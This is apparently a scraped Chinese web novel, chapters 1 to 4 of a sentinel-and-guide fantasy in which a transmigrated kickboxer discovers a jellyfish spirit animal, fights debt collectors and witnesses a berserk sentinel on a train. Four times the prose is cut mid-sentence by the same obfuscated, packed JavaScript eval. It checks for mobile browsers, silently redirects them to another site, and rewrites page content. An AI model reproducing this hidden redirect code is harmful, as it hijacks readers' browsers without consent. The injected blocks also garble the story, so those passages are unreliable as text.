《向哨之掌中宝》 1. 第 1 章 “特马的活腻了敢偷老子的东西,看老子不扒了你的皮!” “救命啊,鲨人啦!” 叮里咣啷与喝骂打闹声忽远忽近地响起,程浪被吵醒,猛地睁开眼睛。 周围光线昏暗,她觉得浑身酸痛,头晕脑胀,一时反应不过来现在是白天还是夜晚。 她从窄小的架子床上起身,走了几步,茫然地站在一间陌生的屋子里。 墙皮脱落严重,泛着陈腐的气息。面积统共不到20平,用木板和铁皮胡乱隔出来里外两个空间。 程浪睡的里间稍微强一点,外间陈设简陋而凌乱。 屋里没有一件像样的家具,缺了一角的破茶几上堆着营养剂和方便面的包装袋以及七歪八倒的酒瓶。 程浪一时有点懞,心里发出究极三问。 这是哪里?她没死吗?怎么到这里来了? 程浪是一名职业散打运动员,天赋出众,成绩骄人。 头一天她刚刚在M国举办的国际大赛上打败一众世界高手,斩获冠军,有着无比光明的前途。 今天晚上程浪本来坐飞机从M国回家,出发的时候还是晴空万里,结果半路上突然遭遇强雷暴。 飞机发生剧烈颠簸,继而来了个倒栽葱,从万米高空直直坠向黑沉沉的太平洋。 程浪连遗言都没来得及留下,一身本事无从施展,只能在飞机坠海前一刻绝望地闭上眼睛,等待自己的生命终结在大好年华的25岁。 结果一睁眼就来到了这间脏兮兮的破房子里,是有人把她救到这里来了吗? 程浪的鼻子今天不知怎么的格外灵光,屋里混浊的空气令她简直没办法呼吸,于是推开蒙着厚重灰尘的玻璃窗。 周边全是低矮破旧的房子,大多用铁皮篷布来搭建,味道同样污浊不堪。 她这辈子还没见过这么恶劣的环境,但又隐隐感觉十分熟悉,似乎自己一直以来就是在这个脏乱差的环境里生活,没有什么出奇的。 程浪一头雾水地来到巴掌大的卫生间,打开锈蚀的水龙头,就着冰冷发浑的水洗了把脸。 脑子稍微清醒了些,程浪抬起头,看着镜子里的脸。 是她,但又不是她。 五官姣好,眉目鲜明,半长的凌乱短发垂到肩头,然而脸色苍白憔悴,缺乏气血与活力。 眼底挂着两个浓重的黑眼圈,和国宝有得一拼,似乎熬了不少大夜。 可不是么,为了帮沾了毒瘾的老爹还债,她连着几个月每天工作至少12个小时,日夜颠倒,作息紊乱,气色能好才怪…… 念头一出来,程浪怔在当场。 紧接着,不属于她的记忆潮水般涌进大脑。 这里不是程浪所熟知的地球,而是一个叫蓝星的异世界。 这里的文明程度曾经比地球要领先,但百余年前在经历过一场世界大战后,全球大部分土地遭受严重污染,成为人类无法生存的无人区,蓝星几乎要沦为“灰星”,导致文明也退化严重。 目前蓝星一共有20亿人口,分布在人类尚且能够生存的一块大陆上,总面积4000万平方公里,划分为15个大州,由单一的联邦政府统一管辖。 然而许多地区处于无政府的混乱状态,贫富悬殊,两极分化严重。 这片贫民区位于第15州的黑铁市郊区,这个和程浪名字一样长相相似的女孩确实在这里出生长大。 原身幼年丧母,父亲不务正业,游手好闲,最近两年还染上了毒、瘾,把家里能卖的东西全卖了,还欠了一屁股债,三天两头被债主找上门来要钱,不给就会被威胁剁手嘎腰子。 这姑娘迫无无奈,不得不拼命打工赚钱来还债,目前在一家废品站干活,日子过得苦不堪言。 头一天原身加班到凌晨,由于过度劳累加上淋了雨,回家后发起了高烧,家里没药也没人照顾,一只踏进了鬼门关,然后程浪就穿过来了…… 这什么地狱开局,毁灭吧! 身为国际级运动健将,程浪这些年应对过无数棘手困难的场面,眼下的情况虽然离奇,形势也非常不利,但她还是很快就接受了自己穿越的事实。 只不过陌生信息太多,她一时间难以消化,感觉脑袋里嗡嗡响,似乎有什么东西要流出来了。 难道是飞机坠海时脑子进了水? 接着,程浪在镜子里看到了十分诡异的一幕。 的确有东西从自己的脑袋出来了,但不是水也不是血,而是几根橙红色的触手,半透明质地,像果冻一样。 渐渐的,出来的触手越来越多,越来越长,拉丝一般简直无穷无尽。 程浪僵硬地转过头,看到这些触手飘出了洗手间,飘进屋里,延伸向这间破房子的每个角落。 等到触手全部出来后,跟着是硕大无比的伞形躯体,从程浪的脑袋里一涌而出,呈现出完整的形态。 那是一只体型无比庞大的异形动物,躯体直径近三米,触手多达上千条,最长的估计有30多米,狭小的屋子里根本伸展不开,因此那些触手像会穿墙术一般透过墙壁延伸到外面去了。 程浪不能隔墙视物,但能在窗边看到那些粗细不一的触手在空中飘荡拂动,色彩华丽夺目,红橙相间,如同招展翻卷的旗帜,又如雄狮烈烈飞扬的鬃毛。 眼前的景象太过奇异,不止原身,连程浪也从未见过,她愣愣地张着嘴巴,半天没合拢。 但这只巨形生物她记得以前曾经在一集《动物世界》里看到过,是一种生活在海洋里的动物,叫狮鬃水母。 脑海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060275|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里不由响起了赵老师娓娓动人的介绍:“狮鬃水母是世界上最大的水母,体型堪比蓝鲸,外表美丽,性情凶猛,橙红色的无数触手能够分泌致人于死地的毒液,因形似雄狮的鬃毛而得名……” 那么她的脑袋里为什么为藏着这样一只巨大的水母呢? 这不科学! 程浪这辈子遇到的最离奇的事情莫过于此,但她非但没有产生巨物恐惧症,相反心里油然而生一种天然的亲切感,仿佛这只巨型水母跟自己一体同共,是她身体的一部分。 眼见狮鬃水母塞满了整个狭小的屋子,似乎要把房子都撑爆了,程浪下意识地在心里想: 【这么大太不方便了,要是能小一点就好了。】 念头一出,长达30多米的狮鬃水母便瞬间缩小了一大半,头尾只有数米长,将将好把所有触手收进屋子里。 程浪眼睛一亮,还能这样? 【再小一点。】 狮鬃水母再次收缩,身体变得只有拳头般大小,触须也就筷子那么长,像一颗燃烧的小火球一般,绕着她来回旋转。 哇,太神奇了! 这一刻,程浪体会到了孙大圣当初玩耍金箍棒的快乐(…… “咣!咣咣!” 屋门突然被砸响,震得墙壁簌簌掉灰。 程浪倏然转头,狮鬃水母顷刻间从空中消失,回到她的脑袋里。 紧接着,房门“嘭”的一下被人踹开了,几个满身戾气的男人闯了进来。 当先一个光头边进边说:“就这里了,看姓程的家里还有什么值钱的东西,全部拉走。” 另一个马脸男扫视屋里一圈,骂道:“特马的,有个屁的值钱东西,全是些破烂,丢到外面去都没人要…… “咦,这个妞倒不错,是程凯的相好吗?” 跟在后面的第三个男人身材精瘦,生着一双泛着贼光的三角眼,不怀好意地打量程浪一番:“程凯那窝囊废哪有本事养这么年轻漂亮的相好,多半是他女儿,长得有点像。” 又是来要债的。 程浪一阵反感,随即被三角眼脚边跟着的一只动物吸引了注意力。 那是一只黑漆漆的大老鼠,比寻常的猫还要大一圈,拖着条一米长的尾巴,贼眉鬼眼,面目可憎。 程浪生平最讨厌老鼠,何况是这么大一只,看一眼就把她恶心得不行。 然而,突如其来的直觉告诉她,这只大耗子并非实物,而是精神体,由人的精神力凝聚而成的具象化产物。 三角眼也不是普通人,而是这个异世界中具有异能的哨兵,五感和体能远超常人,能够指挥自己的精神体对他人进行精神攻击。 程浪不由想起刚才从自己脑袋里跑出来的狮鬃水母,难不成也是她的精神体? 2. 第 2 章 “小姑娘发育得不错嘛,既然程凯那小子死翘翘了还不上钱,那就拿他女儿来抵债好了。”光头一边打量程浪,一边嘻笑,“老大你说是吧?” 三角眼也一脸猥琐道:“行吧,也不算白来一场。” 程浪闻言一怔:“程凯死了?怎么死的?” 光头说:“你爸欠我们10万,昨晚找他还钱,他赖帐想跑,结果一脚踩空,掉进下水道里摔死了,真是活该。” 程浪搜寻脑子里的记忆,质疑道:“我记得他只欠你们1万,不是10万。” 马脸男嚷嚷:“这笔钱你爸赖了半年多了,到现在利滚利就是10万。” 跟这些地痞流氓没道理可讲,程浪放弃了沟通的打算。 原身对自己这个从未尽过父亲之责的毒鬼爹并没有多少亲情,程浪对程凯的死自然更没什么感觉了,因此淡淡道:“随便,他欠钱是他的事,跟我无关。” “怎么没关系,父债子偿听说过没?”光头晃着粗壮的膀子上前,伸手要抓程浪,“给你个机会伺候我们哥几个,表现好了保你吃香喝辣,否则……” 没等他放完狠话,程浪转身一个侧弹腿,朝光头招呼过去。 “嗷!” 光头眼前一花,还没看清程浪的动作,脸上就结结实实挨了一脚,大叫一声倒在地上,一时间整个人都蒙了,爬都爬不起来。 马脸男惊讶地张大了嘴。 三角眼饶有兴味地摸了摸下巴:“哟,有点意思嘛。” 轮到马脸男时谨慎了一些,双手握拳,两脚在地上来回捣腾蹦跳,摆出一副花里胡哨的格斗架势。 程浪等得不耐烦,直接一记左直拳。 “呯!” “啊!” 马脸男被一拳击中面门,霎时鼻血长流,四仰朝天,和光头乒里乓啷摔成一团。 原身缺乏锻炼,体虚气弱,程浪初来乍到没办法很好地指挥四肢,动作力度不够,手臂也有点发酸。 “哟嗬,有两下子嘛,够劲儿。” 三角眼兴致更高,吞了下口水,阴恻恻地向程浪逼过去。 他的老鼠精神体仰起脑袋,朝程浪目露凶光。 程浪不由自主地后退一步。 不是怕,实在是大耗子长得太特么丑恶了,简直是污染眼睛。 虽然程浪刚才表现出了不俗的格斗技能,但三角眼并没放在心上,只是歪嘴笑道:“怎么,怕了?知道怕就乖一点,别逼老子来硬的,不然……哼哼。” 普通人还好说,面对异能者,程浪对自己现在的实力有点拿不准,便一脸无邪地虚心求教:“怎么个硬法呢?” “硬到你哭着求饶。” 三角眼眼睛一眯,大耗子便向前一窜,朝程浪扑过去。 程浪敏捷地侧身避开,让大耗子扑了个空。 这下轮到三角眼意外了:“不是吧,你看得到?” 精神体属于高维度生物,只有异能者才能捕捉到影像,对于普通人而言是隐形的,犹如空气一般看不到摸不着。 一个贫民窟的娇弱女子可以看到就有点不合常理了,程凯之前也根本没提过。 “看到什么?” 程浪装傻充愣,手上紧握成拳。 不过她嫌脏,不想亲自动手,打算试试自己的精神体。 她一边密切注意大耗子的动向,一边瞥向侧边的窗户。 不知道狮鬃水母能不能对付大耗子,要是打不过,她就跳窗跑路。 她在脑海中发出指令:【你能打架吗,出来给我搭把手。】 命令一出,半空中突然现出一堆橙红色的半透明触手,拦在程浪身前。 那些触手密集而灵活,色泽鲜艳,看上十分美丽,却又透着说不出的诡异感。 三角眼的瞳孔骤然放大,浑身起了一层鸡皮疙瘩,惊疑不定道:“这是什么东西?你是哨兵?” 他身前的大耗子抬头望着飘浮在空中长到仿佛没有尽头的橙色触手,瞪大了绿豆小眼。 “也许吧,我也不清楚呢。” 程浪嘴上答着,脑海里继续下令:【去,揍那只死耗子。】 老鼠精神体正要再次窜过来,不料一条橙色触手速度更快,如同鞭子一般凌空一抽。 那只大耗子霎时如同陀螺般在空中旋转,随后更多的触手倏忽而至,将其层层叠叠地缠裹起来,如同包了个漂亮的毛线团。 老鼠精神体拼命挣扎,却根本无法挣开狮鬃水母的触手。 三角眼惊恐不已,面色如土。 光头和马脸男看不到两只精神体的对抗,只凭自家老大的脸色就知道情况大大不妙,赶紧连滚带爬地逃向门外。 程浪第一次动用自己的精神体,并没有太多把握,保险起见用了全力。 仅仅过了数秒钟,“毛线团”不动了,狮鬃水母松开触手。 大老鼠四肢僵直,白眼一翻,继而无声无息地消失了。 不是隐形,是物理意义上消亡了。 三角眼瞬间面色灰败,背脊对折一般佝偻下来,仿佛一下子苍老了三十岁。 狮鬃水母举起一条触手,仿佛邀功一般朝程浪挥了挥。 【好样的,干得不错!】 程浪在脑海里赞了一声,因为用力过猛,脑袋有点晕,心里却十分雀跃。 狮鬃水母比她先前想象的要厉害,头一回利用精神体和人对抗,而非自己亲身上阵,感觉陌生而新奇。 程浪第一次操作还不大熟练,但显而易见,有了狮鬃水母,自己就如虎添翼一般,能力比以前更加强大。 三角眼在程浪朝自己看过来时筛糠一般求饶:“别、别杀我,你爸真不是我下的手,我没有动过他一根指头。” 程浪吐出一个字:“滚。” 三角眼如蒙大赦,转身踉跄着出了门。 危机解除,狮鬃水母回到程浪脑海中。 程浪关上屋门,呼出一口气。 看来自己确实穿成了哨兵,这是不幸中的幸事。 根据原身的认知,蓝星的人类为了适应全球恶劣的生存环境,进化出来两种异能者,除了哨兵外,另外一种是向导。 哨兵体能强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060276|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大,五感敏锐,天生攻击力强,相当于行走的人形兵器,但精神容易过载,进入暴躁失控状态。 向导则体能较弱,精神力强大,可梳理哨兵紧崩紊乱的精神世界,平复其负面情绪。 通俗来讲,哨兵像易燃易爆的危险品,向导则如同灭火器,将危险苗头扑灭于无形。 二者的共同之处是都拥有精神体,哨兵的精神体一般是攻击性比较强的肉食或杂食性动物,比如豺狼虎豹。向导的则基本上都是性情温顺的草食性动物,牛羊马兔之类的。 蓝星现有人口中10%为异能者,其中大部分为哨兵,向导比较少,哨向比例约为5:1。 哨兵和向导按能力高低划分为ABCDE五个等级,等级越高人数越少,呈金字塔形。 比A级更厉害的是超A级,再往上是S级,那就极为罕见了,放眼全联邦都屈指可数。 原身本来是普通人,属于社会最底层的屁民,但程浪却穿成了哨兵,大概因为她体质强健,身手过人,所以有了加成。 就是不清楚她现在的实力属于哪一个等级。 能打过三角眼,应该不至于垫底。 程浪喝了几口水休息片刻,感觉头不晕了,于是闭上眼睛,聚精会神,仿佛冥想一般,探测自己的精神图景。 她“看到了”自己脑海中的景象,就像开了第三只眼睛一样。 一片深蓝色的大海,壮阔辽远,几乎看不到边际。 海上风平浪静,中间矗立着一座孤零零的岛屿。 这片海域寂静无声,海面上没有船只和飞鸟,无论岛上还是海里也没有其他动物,唯有狮鬃水母伸展着密密长长的触手,围着小岛缓缓游弋。 程浪从小在山区长大,父母在山里劳作了半辈子,从来没见过海,对大海十分向往,因此给女儿取名为“浪”,希望她以后能出去见见大世面,不要像他们那样窝在山沟沟里。 程浪也很争气,年纪轻轻就走南闯北,踏遍全球,见过各式各样的海,就连坐飞机失事也是坠入海洋。 如今脑子里多出一片大海和一只水母精神体,也算是冥冥中自有天意了。 她跟狮鬃水母做了个交流,彼此增进熟悉。 程浪:【嗨,伙计,以后请多关照。】 狮鬃水母在海水中摆动了一下华丽丽的触手,作为回应。 程浪:【我给你取个名字吧,这样方便一点。】 猫猫狗狗都有名字,精神体当然也不能少。 狮鬃水母不能说话,但在认真倾听。 程浪:【叫果冻怎么样?听起来□□弹弹很好吃。】 狮鬃水母脑袋上冒出一串气泡,像省略号一样,似乎很无语。 程浪:【哎不行,说到果冻就好饿,得换一个。不如就叫大橘吧,既形象又可爱,是不是?】 狮鬃水母不理她了,潜回了海域深处。 程浪不由笑起来,感觉真不错。 大橘不是宠物,胜似宠物,可以跟她完全心意相通,无时无刻地陪伴着她,还不用照顾吃喝拉撒,简直不能再完美了。 3. 第 3 章 手腕上传来震动,程浪低头一看,是一只旧手环,蓝星的个人通讯终端,收到了一条垃圾消息。 这只手环是原身两年前花了将近1000信用币买的一只二手货,是她唯一的一件值钱物品。 今天是新历2233年5月6日,外面开始下雨了,雨声打在屋顶上噼啪作响,脏污的墙角开始滴水,散发着一股霉味。 程浪不由得皱起眉头。 这间破屋子包括周边贫民区的环境实在太糟糕了,根本没办法住,她一分一秒都难以容忍,必须搬家才行,现在,立刻,马上! 然而她在手环上查了一下,原身的户头上全副身家只有728.5信用币,这点钱连现在这个棚屋都租不到。 所以迫在眉睫的事情是赚钱。 那要怎么才能尽快地赚到钱呢? 继续拣废品是不可能的,干老本行当散打运动员也不现实。 在这个世界没有人脉也没有门路,搞正经的体育竞技根本没有什么出路。 程浪打开手环上的浏览器,登陆某个招聘软件,想找找有什么合适的工作。 然而看来看去发现大部分工作都不合适,要么是钱少辛苦的体力活,和原身之前做的没什么区别。 要么要求太高限制太多,超出了她目前的条件范围。 刷了好半天,一则信息抓住了程浪的视线。 【现急招贴身保镖若干,要求至少C级以上哨兵,日薪1000信用币起,包吃住,等级越高薪水越高,表现好有额外奖励。】 咦,这个挺不错,正好是她眼下需要的。 发布者还要招保洁数名,但一个月只有3000信用币,比保镖低多了。 程浪不清楚自己能不能达到C级,先去试试呗,不行再说。 她立即写了一份简历投出去,自称为C级哨兵,胡乱编了一些基本资料提交。 不多时,收到回复,要她今天下午5点前往相邻的第14州青岩市某个地址面试。 从程浪目前所在的黑铁市过去路途有点远,州际列车要坐四个小时,票价223。 她就在网上买了张票,最近的一班车是中午12点发车,时间刚好合适。 帐上余额由728.5变成了505.5。 这会儿是早上9点多,程浪觉得饿了,翻遍全屋只找出一袋营养剂,只能凑合着吃了。 这东西的味道令人难以恭维,主要是人造肉和人造蛋白以及一些食材的边角料,混合成一团半固体状的糊糊,散发着难以形容的怪味。 但除此之外没有别的选择。 蓝星因为水土污染问题,天然食材的培育成本比人造产物高得多,价格也贵得离谱,普通老百姓负担不起,大多时候只能用低廉的营养剂或方便食品来裹腹。 勉强填饱肚子后收拾了几件换洗衣物,程浪就挎着背包头也不回地离开了。 虽然离发车时间还有点早,但她情愿在车站等着,也不想继续待在这个鬼地方。 贫民区里味道难闻,充斥着焚烧垃圾的呛人气味,程浪戴上一只简易的过滤面罩,拉起兜帽遮住大半张脸,穿过污水横流的逼仄小巷。 天气不好,还正下着雨,这个时候贫民区没什么人在外面走动。 直至走到贫民区边缘时,才看到一个头发花白的老人,没戴面罩,正微微佝着背从外面进来。 程浪觉得有些眼熟,在记忆里搜索了一下,确实是熟人,跟原身一起在废品站干活的同事,名叫余大海,其他人都喊他老余,这会儿大概是刚下夜班回来。 余大海其实年纪并没有多老,可能还不到五十,但多年来过于辛苦操劳,无儿无女,一个人孑然一身,所以模样显得比实际年龄要衰老很多。 原身跟余大海关系还行,叫他余大叔,在废品站是唯一能跟他说得上几句话的人。 有一次原身遇到了麻烦,还是余大海替她解的围。 但程浪是穿过来的,打算彻底跟过去告别,因此没跟余大海打招呼,低头继续往前走。 路边转弯处突然飞快地开过来一辆大货车,把坑洼路面的积水溅起一人多高。 要不是程浪反应快,急忙后退避开,就被污水喷洒一身了。 然而动作迟缓的余大海就没有这么幸运了,当即被疾驰而过的货车撞倒在地。 货车撞到人却半点不带停的,径直往前开走了。 程浪见到这种情况没办法置之不理,忙上前查看余大海的情况。 余大海斜躺在地上,干瘦的身体弯折成正常人做不到的角度,身下流了一摊血。 但他还没死,半睁着眼睛,咳了两声。 程浪在他身边蹲下来,忙道:“余大叔,你撑住,我帮你叫救护车。” “小程啊……”余大海认出了她,蠕动着嘴唇说,“救护车……你叫得起吗?” 程浪语塞。 她忘了眼下是什么地方,叫一辆救护车至少4000信用币起步,远远超出自己帐户上那个可怜的数字,更不要说接下来的治疗费用了,不是她和余大海能够负担得起的。 “叫了救护车也没用,我本来就快要死了。你去干你的活吧,不用管我,不然又要挨骂了。” 余大海喃喃道,表情平静,似乎已经感觉不到多少疼痛,甚至还带着一丝终于可以逃离苦厄的解脱感。 程浪不知道说什么好,感受到原身从心里涌出的难过。 她的狮鬃水母或许是觉得气闷,从她脑海中伸展出来。 已然陷入弥留之际的余大海蓦然睁大眼睛,紧紧盯着程浪背后,随后视线重新回到程浪脸上,伸出枯瘦的手颤抖着抓住她的手臂,急切地说:“小程,你变成哨兵了?这怎么可能?!” 程浪吃惊道:“余大叔,你看到了我的狮鬃水母?我也不知道怎么回事,就是刚才……我一觉睡醒后就变成这样了。” 记忆中,余大海跟原身一样,都是普通人,做着最底层最卑微的工作,从来没有表现出任何特别之处,他怎么能看到自己的精神体呢? 余大海神色显得十分激动,再次咳嗽起来,口里喷出血沫,语无伦次又模糊不清地说道:“你是什么级别的哨兵?这么大的体型,应该不止是A级,这可糟了……你快收起来,收起来!不要让他们看到了,不然会被抓起来,大祸临头……” 程浪没听清楚,便追问:“余大叔,你说什么?不要让谁看到?他们为什么要抓我?” 余大海却仿佛听不到她说什么了,脸上露出惊恐的神色,双手在空中胡乱挥舞,嘶哑地叫道:“他们来了,他们来了!放开我,放开我……” 余大海抽搐了几下,瞳孔放大,双手无力地垂落下来。 他死了。 程浪把狮鬃水母收回脑海,鼻子里一阵发酸,在原身情绪的影响下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060277|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差点掉下眼泪。 虽然她本人跟余大海并没有直接打过交道,余大海说的那些话也不明不白,但依旧能感受到一种难言的悲伤。 余大海去世了,得给他办理后事,但程浪不认识他的亲友家人,就打开手环里的通讯录,找到废品站负责人的号码,拨了个电话过去。 对面接通后开口就骂:“这都几点钟了,你今天怎么还不来开工?不想干了就滚蛋,有的是人想干!” 程浪忍耐着说:“王经理,我在D3区的入口这边,余大叔刚才出车祸去世了,你能派人过来处理一下吗?” 对面安静了一秒,接着无所谓道:“他被车撞了关我屁事,你自己看着办吧!” 电话挂断了。 这个操、蛋的世界! 程浪骂了句脏话,愤怒却又无可奈何。 不忍心让余大海就这样暴尸在外,她又在网上找了最近一家殡仪馆的电话,询问收殓及火化的费用。 对方开口就要5000。 程浪再次无奈:“太贵了,我没有这么多钱。” “收殓、火化再加骨灰制作成钻石,一条龙的服务,已经很便宜啦!” 蓝星人死亡以后都是火化,有钱人买墓地供奉,普通老百姓则是把亲人骨灰做成钻石留作纪念。 “那我也付不起。” “你能付多少嘛,价钱可以商量。” “我最多只能拿得出500。” 对方跟她讨价还价:“500太少了,开什么玩笑,本钱都不够。” “那算了。” 程浪刚要挂电话,对方忙道:“行吧行吧,500就500,今天第一单开张生意,便宜你了。” 程浪:“……” 付了500后,帐上余额就只剩5.5了。 她把地址告诉对方,不多时,一辆黑车开了过来,一个穿着防护服的男人下了车,把余大海的尸体搬上车。 搬到一半时,余大海身上掉下来一个物件。 程浪捡起来,擦去表面的泥污,发现是个心形的银色金属吊坠,表面磨损泛黄,已经有些年头了。 打开吊坠,里面嵌着一张小小的水晶像,一男一女的合照。 两个人都很年轻,目测可能还不到二十岁,男的长相英气俊朗,女的则清丽秀美,都露出甜蜜幸福的微笑,显然是一对恋人。 这个男生难道是年轻时的余大海吗? 程浪完全没办法将二者联系起来,但仔细端详五官,似乎又的确是同一个人。 至于照片中的女生她就完全没有印象了。 程浪叹了一口气,把吊坠放进自己的口袋,以后如果有机会能遇到余大海的家人亲属或者照片中的女生就还给他们。 随后她跟着黑车到了殡仪馆,看着余大海被推入焚化炉中火化,又过一个小时后拿到了一颗晶莹剔透的钻石。 无论这个人生前有多困苦不堪,此后都将以闪亮耀眼的形式继续留在这个世界上。 程浪将心形吊坠和钻石一起装进一只黑色的丝绒布袋,随后离开殡仪馆,花了5点信用币搭公交车赶到州际车站,在列车发车前最后三分钟上了车。 于是,她的帐上只剩下最后5毛钱了。 程浪还没吃午饭,但现在她只能喝西北风。 如果傍晚去面试的那份工作搞不定,今晚她可能得去讨饭睡天桥了。 4. 第 4 章 列车上乘客很多,基本上都坐满了。 许多人都戴着各式各样的过滤面罩,只露出一双眼睛,甚至连眼睛都看不清楚,像末日电影里的场景一样冰冷而怪异。 程浪现在的感官十分敏锐,一眼就能判断出来谁是普通人谁是异能者,不管后者有没有把精神体放出来。 这种直觉很奇特,像呼吸一样自然。 余大海临终前说的那些只言片语回响在她耳边,她没听明白究竟是什么意思,是临死前出现了幻觉,还是真的发现了什么,提醒她可能存在的潜在危险。 谨慎起见,进站后程浪就给狮鬃水母下了命令,没有她的允许,不要招惹事非随便跑出来。 即便出来体型也不要那么大,那么张扬,最好收敛一点。 上了列车后,程浪在寻找自己的座位时一路见到了好几个哨兵,同时还清晰地看到每一名哨兵的精神体,小到巴掌大的食肉类昆虫,大到快有一人高的大型犬,五花八门什么都有。 但她没看到一个向导。 也是,哨向数量悬殊,向导们比较金贵,大部分都集中在联邦政府设立的向导协会,轻易不会在外面抛头露面。 据说联邦军队里十个哨兵甚至几十个哨兵才会配备一名向导,定期梳理这些士兵的精神,防止他们暴躁发狂。 军队以外没有编制的普通哨兵只能到民间开设的私人向导诊所寻求治疗,或者去药店高价购买联邦政府研制的安抚剂,以求抑制体内的狂躁因子。 否则,没有得到及时干预的哨兵会陷入狂躁症,轻则因为暴力攻击人群而被拉去特殊监狱关起来,重则自伤自残自我毁灭。 程浪目前还没有这个顾虑,她的精神世界还比较稳固平和。 她默默观察列车上遇到的哨兵们,个个都比较张扬,有些两三个聚在一起旁若无人地大声笑闹,不管会不会吵到旁边的乘客。 当然,被影响到的普通乘客也只能默默忍受,吭都不敢吭一声。 有个穿着迷彩服的高壮男人似乎是一名退伍兵,没戴面罩,一个人霸道地占了三个座位,一脸不好惹的戾气。 这名退伍兵的精神体是一只豺狗,呲着牙在列车过道里烦躁地踱来踱去,像是想逮个什么东西撕成碎片。 这名哨兵应该等级不低,而且精神状态也不大好。 程浪上车时帮一位老妇人托了一下沉重的行李箱,老妇人见她看着那名退伍兵,就拉了她一下,示意她赶紧往前走,不要在这节车厢多作停留。 程浪收回目光,跟着老妇人进了相邻的下一节车厢。 她们俩的座位刚好挨着,坐下来后老妇人才小声说:“小姑娘,刚才那个大块头肯定是哨兵,看上去就脾气不好,要是惹到他可就麻烦了。” 程浪点点头:“谢谢阿姨提醒。” 邻座的一个男人低声接口道:“可不是么,那些哨兵都是神经病,动不动就像疯狗一样咬人,应该把他们通通关进笼子里,不要放出来祸害人。” 周围人纷纷小声附和:“就是!” 程浪只能干笑两声。 不好意思,她也是哨兵。 但她做为顶尖运动员一向自制力强大,现在变成哨兵肯定也不会像疯狗一样随便祸害人。 开车后过了半小时,前面那节车厢突然骚动起来,传来惊恐的尖叫声,接着乘客们惊慌失措地朝两边车厢逃跑。 邻座的男人起身问:“怎么了,发生什么事了?” 逃过来的一个喊道:“有个哨兵发狂了,打死了一个人!” 警报声响起,车厢里一片耸动,所有人都坐不住了。 “唉,我就说吧,肯定就是那个大块头。”老妇人抓起行李袋起身,“咱们也赶紧走吧,省得那个疯子跑到这边来。” 程浪有点好奇,想看看哨兵狂躁起来是什么样,便说:“阿姨你先走吧,我看看情况。” “嗐,这热闹有什么好看的,要出人命的!” 老妇人匆匆走了。 程浪朝对面车厢张望,越过一片人头看到那个穿迷彩服的退伍兵双眼赤红,一边吼叫一边胡乱地朝周围人群挥舞拳头,确实与疯子无异。 他的豺狗精神体则正跟另一名哨兵的灰狐精神体撕咬作一团。 狭窄的车厢过道里,一个五六岁的孩子被人撞倒了,趴在地上嚎啕大哭。 那孩子眼看着要被其他人踩上一脚,侧旁突然伸过来一只手,将他一把拉起来,推到家长身前。 “谢谢!” 家长匆忙跟程浪道了谢,拉着孩子继续往前跑。 两节车厢的连接处挤的乘客太多,卡得水泄不通,发生了踩踏,哭喊声此起彼伏。 程浪想跑都跑不动,进退两难。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060278|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在进一步酿成重大事故前,列车终于停了下来,警车与救护车来了。 车门打开,一群全副武装、精神体为各种猎犬的警察上车开始疏导人群,程浪就随着其他乘客一起下了车。 在站台上走了几米,程浪停下脚步,骤然回头。 她察觉到一股异样的气息,清冽而冷锐,在纷乱混浊的各种气味中独树一帜,穿过拥挤嘈杂的逃生人群直击她的天灵盖。 连正在她的精神海域中呼呼大睡的狮鬃水母都打了个激灵,醒了过来。 那是什么? 透过列车车窗,程浪在一群身着黑色制服的警察中间看到一片白色的衣角,一闪而过。 是一名医生吗? 程浪穿过来还不到一天,见过的异能者加起来数量也有限,不知道这股气息代表着什么。 她只能判断出应该是一名向导,不像哨兵的气息那样外放张扬,却有着不容置疑的穿透力。 程浪想上前看个仔细,却被一名端着枪的警察拦下来,催促道:“走走走,不要在这里逗留,去候车室等着!” 另一名警察则大声喝道:“哨兵都到这边来,双手抱头,蹲在地上!” 就算没有参与打架斗殴,所有的哨兵也必须接受检查。 